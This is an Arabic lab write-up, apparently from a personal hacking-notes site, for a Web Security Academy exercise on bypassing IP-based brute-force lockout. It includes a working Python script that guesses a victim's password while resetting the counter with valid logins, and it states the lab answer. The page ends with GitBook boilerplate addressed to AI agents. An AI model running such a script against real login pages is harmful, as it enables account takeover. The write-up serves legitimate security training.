> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/authentication/broken-brute-force-protection-ip-block.md).

# حماية معطوبة من القوة الغاشمة مع حظر قائم على عنوان IP

### حماية القوة الغاشمة المعطلة، حظر عنوان IP

يحتوي هذا المختبر على خلل منطقي في الحماية ضد هجمات القوة الغاشمة. / الهدف هو **تقوية كلمة مرور الضحية** ثم تسجيل الدخول إلى حسابه.

* **بيانات الاعتماد المقدَّمة:** wiener / peter
* **اسم مستخدم الضحية:** carlos

#### ملاحظة آلية الحظر

يُظهر اختبار عدة تركيبات للمستخدم carlos أنه بعد **ثلاث محاولات غير صحيحة**، يعرض التطبيق:

> *لقد أجريت عددًا كبيرًا جدًا من محاولات تسجيل الدخول غير الصحيحة. يرجى المحاولة مرة أخرى خلال دقيقة واحدة.*

لذلك يطبّق الموقع **حظرًا قائمًا على عنوان IP** بعد عدة حالات فشل متتالية.

<figure><img src="/files/fe5b32981d1afcaba480ec01223b2719f8f9d7a6" alt=""><figcaption></figcaption></figure>

### التحايل على حظر IP

للتغلب على هذه الحماية، يتم استغلال خلل منطقي:

* نرسل **اثنتين** من المحاولات غير الصالحة لـ carlos.

<figure><img src="/files/de414d80601752d630c248f361e4150cf32e0bec" alt=""><figcaption></figcaption></figure>

* عند **المحاولة الثالثة** ، نرسل مصادقة صالحة\*\*، ولكن مع معرّفات wiener: peter.
* وبما أن هذا الاتصال ينجح، فإن النظام \*\* يعيد تعيين العداد\*\* لهذا عنوان IP.

### البرنامج النصي المستخدم بلغة بايثون

يقوم البرنامج النصي التالي بأتمتة الهجوم من خلال اختبار كلمتي مرور لـ carlos ثم إعادة تعيين العداد عبر اتصال ناجح باسم wiener:

```python
import requests
import time

url = "https://0a19006903c3409a83f97eef000a00be.web-security-academy.net/login"
session_cookie = "7iUGnIrXGPogHTIfzuPfAC89Jel0jghh"

passwords = [
    "123456", "password", "12345678", "qwerty", "123456789", "12345", "1234",
    "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football",
    "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321",
    "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx",
    "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1",
    "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer",
    "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000",
    "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars",
    "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper",
    "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777",
    "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua",
    "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea",
    "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin",
    "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring",
    "montana", "moon", "moscow"
]

session = requests.Session()

def login(username, password):
    headers = {'Cookie': f'session={session_cookie}'}
    data = {'username': username, 'password': password}
    return session.post(url, headers=headers, data=data, allow_redirects=False)

for i in range(0, len(passwords), 2):
    batch = passwords[i:i+2]

    for password in batch:
        print(f"جارٍ تجربة carlos:{password}")
        response = login("carlos", password)

        if response.status_code == 302:
            print(f"تم العثور على كلمة المرور! carlos:{password}")
            exit()

    if i + 2 < len(passwords):
        print("إعادة التعيين باستخدام wiener:peter")
        login("wiener", "peter")
        time.sleep(1)

print("لم يتم العثور على كلمة المرور")
```

كلمة المرور الصحيحة لـ carlos التي تم اكتشافها عبر الهجوم هي:

> **michelle**

<figure><img src="/files/54653c925ef479ab741f0f72c62cf73a5f3246aa" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/authentication/broken-brute-force-protection-ip-block.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
